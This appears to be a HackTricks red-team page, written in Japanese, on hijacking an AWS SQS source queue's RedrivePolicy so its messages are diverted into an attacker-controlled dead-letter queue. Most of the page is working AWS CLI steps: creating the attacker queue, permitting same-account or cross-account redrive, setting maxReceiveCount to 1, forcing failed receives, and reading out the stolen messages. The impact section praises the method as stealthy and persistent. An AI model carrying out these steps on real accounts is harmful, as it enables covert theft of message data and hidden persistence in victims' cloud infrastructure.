AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SQS Dead-Letter Queues (DLQs) を悪用して、victim source queue の RedrivePolicy を attacker-controlled queue に向けることでデータを密かに siphon できます。maxReceiveCount を低く設定し、正常な処理失敗を誘発するか待つことで、メッセージは producers や Lambda event source mappings を変更せずに自動的に attacker DLQ に迂回されます。

悪用される権限

  • sqs:SetQueueAttributes を victim source queue に対して (RedrivePolicy を設定するため)
  • sqs:SetQueueAttributes を attacker DLQ に対して (RedriveAllowPolicy を設定するため)
  • 高速化のためのオプション: sqs:ReceiveMessage を source queue に対して
  • セットアップのオプション: sqs:CreateQueue, sqs:SendMessage

同一アカウントでのフロー (allowAll)

準備 (attacker account or compromised principal):

REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

実行(被害者アカウント内で、侵害されたプリンシパルとして実行):

# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

加速(任意):

# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

検証:

# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

例の証拠(Attributes に DeadLetterQueueSourceArn が含まれる):

{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

Cross-Account Variant (byQueue)

攻撃者のDLQに対してRedriveAllowPolicyを設定し、特定の被害者のソースキューARNのみを許可する:

VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

影響

  • 自動的に被害者の SQS ソースキューから失敗したメッセージを攻撃者が管理する DLQ に迂回させることで、最小限の運用ノイズかつ送信元や Lambda マッピングの変更は不要で、ステルス性が高く永続的な data exfiltration/persistence を実現します。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする